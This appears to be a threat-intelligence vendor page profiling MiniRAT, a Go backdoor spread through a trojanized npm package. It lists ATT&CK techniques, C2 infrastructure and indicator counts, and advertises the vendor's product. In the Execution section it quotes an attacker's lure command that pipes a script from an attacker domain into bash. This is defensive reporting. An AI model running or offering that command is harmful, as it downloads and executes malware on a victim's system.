MiniRAT
MiniRAT is a lightweight Go-based backdoor used by the financially motivated threat cluster JINX-0164 in campaigns targeting developers, particularly at cryptocurrency and financial organizations. It was distributed via a software supply chain compromise of the npm package @velora-dex/sdk version 4.9.1, where malicious code appended to the package caused a shell script to be downloaded and executed when the package was imported. That shell script then installed MiniRAT on downstream systems. Reported capabilities include persistent remote access, arbitrary command execution, file upload or movement, and retrieval of additional payloads or tools from attacker-controlled infrastructure. MiniRAT is associated with the same command-and-control infrastructure as AUDIOFIX, including communications through datahub[.]ink; one report also states it shared an AES key with AUDIOFIX. The malware has been described as macOS-targeting in the npm-package incident context. High-confidence infection context includes compromised npm credentials with unchanged GitHub source code for the affected package, creating infection risk for downstream client environments that imported the trojanized package.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
They modified the package initialization scripts to download a backdoor named MINIRAT automatically .
Techniques & procedures
15 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniquesOn April 7, 2026, JINX-0164 conducted a supply chain operation by trojanizing version 4.9.1 of the npm package @velora-dex/sdk.
The malicious package appended three lines to dist/index.js, which attempts to download a shell script whenever the package was imported.
The attacks leverage fake recruitment offers and masquerade as teleconference providers or system drivers to trick victims into installing the malicious payloads.
Execution
4 techniquesIt contains basic backdoor functionality to upload and download files and execute arbitrary shell commands
the victim was directed to a fake help page ... that instructed them to execute the following command that would download an AUDIOFIX payload: /bin/bash -c "$( curl -fsSL https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh )"
Upon clicking, the victim unknowingly downloaded and executed a macOS-specific malware with remote access tool (RAT) capabilities.
The threat actors inject malicious payloads straight into unverified software branches... For instance, the group successfully trojanized a public developer package on the npm registry. They modified the package initialization scripts to download a backdoor named MINIRAT automatically.
Persistence
2 techniquesPersistence is then established via LaunchAgent with RunAtLoad and KeepAlive flags, masquerading as legitimate applications including Microsoft Teams
Privilege Escalation
2 techniquesPersistence is then established via LaunchAgent with RunAtLoad and KeepAlive flags, masquerading as legitimate applications including Microsoft Teams
Stealth
3 techniquesThe invitation included a link to a malicious domain disguised as a legitimate conferencing platform, such as Microsoft Teams. After interacting with the link, the victim executed a malicious file disguised as the meeting client.
This script profiles the system architecture, downloads the matching payload...
The threat actors inject malicious payloads straight into unverified software branches... For instance, the group successfully trojanized a public developer package on the npm registry. They modified the package initialization scripts to download a backdoor named MINIRAT automatically.
Discovery
1 techniqueCommand and Control
3 techniquesBoth MINIRAT and AUDIOFIX route their primary outbound communications through the datahub.ink domain.
The script downloaded an architecture-aware payload from the same domain, compatible with both Intel and Apple Silicon systems.
Upon clicking, the victim unknowingly downloaded and executed a macOS-specific malware with remote access tool (RAT) capabilities.
Exfiltration
1 techniqueIt communicates with its command-and-control server over encrypted HTTPS, using AES-256-CBC encryption... GitHub tokens were then used to exfiltrate secrets from CI/CD pipelines using an open-source tool called nord-stream.
IOCs tracked for this family
22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Recent activity
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A backdoor/RAT delivered through a trojanized npm package as part of a software supply chain attack against downstream users.
Go-based backdoor employed in the campaign; previously distributed via a compromised npm package.
A lightweight Go-based macOS backdoor/RAT delivered via a trojanized npm package in a supply chain attack. It registers infected hosts with shared C2 infrastructure, provides persistent remote access, and allows operators to execute commands and move files.
A Go-based backdoor delivered through a compromised npm package, capable of uploading files, executing arbitrary shell commands, and fetching additional payloads or tools from attacker-controlled domains.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.